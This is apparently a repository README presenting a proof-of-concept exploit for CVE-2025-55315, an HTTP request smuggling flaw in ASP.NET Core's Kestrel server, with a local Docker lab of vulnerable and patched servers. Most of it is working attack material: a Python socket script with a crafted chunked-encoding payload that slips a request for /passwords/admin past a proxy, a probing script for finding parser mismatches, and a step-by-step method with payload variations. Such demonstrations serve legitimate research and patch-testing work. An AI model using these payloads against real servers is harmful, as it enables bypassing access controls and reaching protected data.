
Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers.
Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers.
View Interactive Prezi Presentation
🎥 Click the badge above to view the full interactive presentation on Prezi
Dockerfile.vulnerable - Uses .NET 10.0.100-rc.1 (vulnerable to CVE-2025-55315)Dockerfile.patched - Uses .NET 10.0.100 (patched version)Note: The vulnerability is in the .NET runtime's HTTP parser (Kestrel), not in the application code. Both versions use identical source code but different .NET runtime versions.
# Build and run all services
docker-compose up --build
# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028
See DOCKER.md for detailed Docker usage instructions.
The Python proxy demonstrates CVE-2025-55315 by favoring Content-Length over Transfer-Encoding, enabling HTTP request smuggling:
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Read all available data
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Complete Response ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Checking for smuggled request response ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ Successfully smuggled request to /passwords/admin!")
else:
print("✗ Exploit failed or blocked")
This payload smuggles a second request to /passwords/admin past the proxy's security check, exploiting the discrepancy in how the proxy and backend server parse the request.
Here's how the proxy and backend server interpret the same payload differently:
Key Differences:
Detailed Explanation:
2;\n as a valid chunk size declaration (2 bytes) → Reads xx as the 2-byte chunk body → Moves to next chunk (39)\n as line ending → Chunk size is still 2 but header extends through 2;\nxx\r\n → Reads 39 as part of the chunk body → 0\r\n terminates the chunkGET /passwords/admin request is hidden in what the backend treats as chunk data, but gets parsed as a separate request after chunk processing completesThe smuggled GET /passwords/admin request is hidden in what the proxy thinks is chunk body data, but the backend parses it as a separate HTTP request.
Before exploiting, you need to identify which HTTP header (Content-Length or Transfer-Encoding) different components favor. Here's a step-by-step guide:
Send a request with both Content-Length and Transfer-Encoding: chunked headers to see which one each component respects:
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Analysis:
Content-LengthTransfer-EncodingTest all components in your architecture to find discrepancies:
# Using Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# Change port to 5002 and test
# Safe API should handle the conflict properly
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)
# Change port to 5028
# Test how YARP handles the header conflict
/passwordsTransfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Once you identify:
Content-Length (reads only N bytes)Transfer-Encoding (reads chunked body)You can smuggle a second request that the proxy never sees but the backend processes.
Run the full exploit payload (see "Exploit Demonstration" section above) and confirm:
socket: Low-level control for precise HTTP formatting--data-binary: Quick command-line testingThe exploit can be crafted in multiple ways. Experiment with different approaches:
# Add Content-Length to make the desync explicit
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Content-Length: 75\r\n"
"Transfer-Encoding: chunked\r\n"
# ... rest of payload
)
\n as valid line ending → Treats 2;\n as chunk size → Reads 2 bytes (xx)\n → Chunk header extends through 2;\nxx\r\n → 39 becomes chunk body → 0\r\n ends chunkTry different desync scenarios by modifying PythonProxy/proxy_server.py:
\n vs \r\n)Experiment with:
|
PROXY INTERPRETATION (Accepts |
BACKEND INTERPRETATION (Rejects |
| Component | Chunk Size 2;\n | Bytes Read | What Happens |
|---|
| Proxy | ✅ Valid chunk size | 2 bytes (xx) | Treats 2;\n as complete chunk header, reads 2 bytes, continues to next chunk |
| Backend | ❌ Invalid line ending | Still reads as 2 byte chunk | Chunk header doesn't end until xx\r\n, so 39 becomes the chunk body, 0 ends the chunk |